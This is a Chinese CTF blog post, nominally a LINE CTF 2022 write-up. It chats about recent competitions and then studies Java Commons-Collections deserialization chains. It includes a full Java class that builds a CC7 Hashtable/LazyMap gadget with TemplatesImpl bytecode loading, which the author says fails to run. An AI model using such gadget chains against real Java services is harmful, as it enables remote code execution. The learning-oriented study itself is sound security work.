LINECTF2022wp
好像还不是很坐牢。所以这篇能叫wp
全程看tkmk神仙疯狂输出,我在旁边打杂学习
四个简单一点的题都出了,然后一两个解的几个题没心情看呜呜
说到最后还是只会做简单题的垃圾呜呜
其实都在虎符坐牢,虎符做完牢之后zer0pts的比赛也就差不多结束了。。。
虎符四个web感觉有两个不怎么web,zer0pts六个web感觉也有一半不怎么web。。。
zer0pts当初还是我提议拉一个队打一下的拉着。。。对不起其他究极输出的师傅们。
然后最后一个小时简单的看了一下web题。一共六个web,一个签到,两个感觉不是很web的题,以及这两个不是很web的题被非预期之后的revenge,和一个完全没看不知道是个啥的题(说起来究极国际队也赛题被疯狂非预期了,并且这个赛题数量以及其和web的相关程度,感觉也没有比我们好很多。突然心里有点舒服了一点?)不过感觉他们还是影响力比我们大多了,并且他们常年举办比赛也很有经验,总之就是discord里看起来很热闹氛围很好呜呜(我现在才知道似乎discord和QQ群不一样发公告不要随便@全体。。。就丢在announcement里就行。。。以及现在的私聊比较流行的说法是dm,direct message)
然后因为没有怎么看题所以不会坐牢,简单复现
然后因为没有看多久所以简单看一下然后去codeql坐牢吧。。。
本来只是对CC各链进行了简单性的写代码复习,就是大致的记忆了CC1-7的各个链触发方式和利用点,但对具体触发的流程并不甚熟悉。昨天闲的没事把templatesImpl和CC7的hashtable缝合了一下,发现payload在触发上存在着一定的问题,然后百思不得其解,然后究极debug还是发现不了问题所在,问了下rmb神仙他和我说是时候究极跟进实现了。于是今天来debug一下
这份是缝合了之后看起来天衣无缝但是跑不起来的代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CCTemplateImpl {
public static Object getPayload(final String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClazz = pool.get(TemplateImplPayloadClass.class.getName());
byte[] classBytes = ctClazz.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
bf.setAccessible(true);
bf.set(templatesImpl, targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
Field nf = TemplatesImpl.class.getDeclaredField("_name");
nf.setAccessible(true);
nf.set(templatesImpl, "name");
Field cf = TemplatesImpl.class.getDeclaredField("_class");
cf.setAccessible(true);
cf.set(templatesImpl, null);
Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
tf.setAccessible(true);
tf.set(templatesImpl, new TransformerFactoryImpl());
final Transformer[] rubbish = new Transformer[]{new ConstantTransformer(1)};
//等会反射改,不然又打自己
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Transformer transformerChain = new ChainedTransformer(rubbish);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}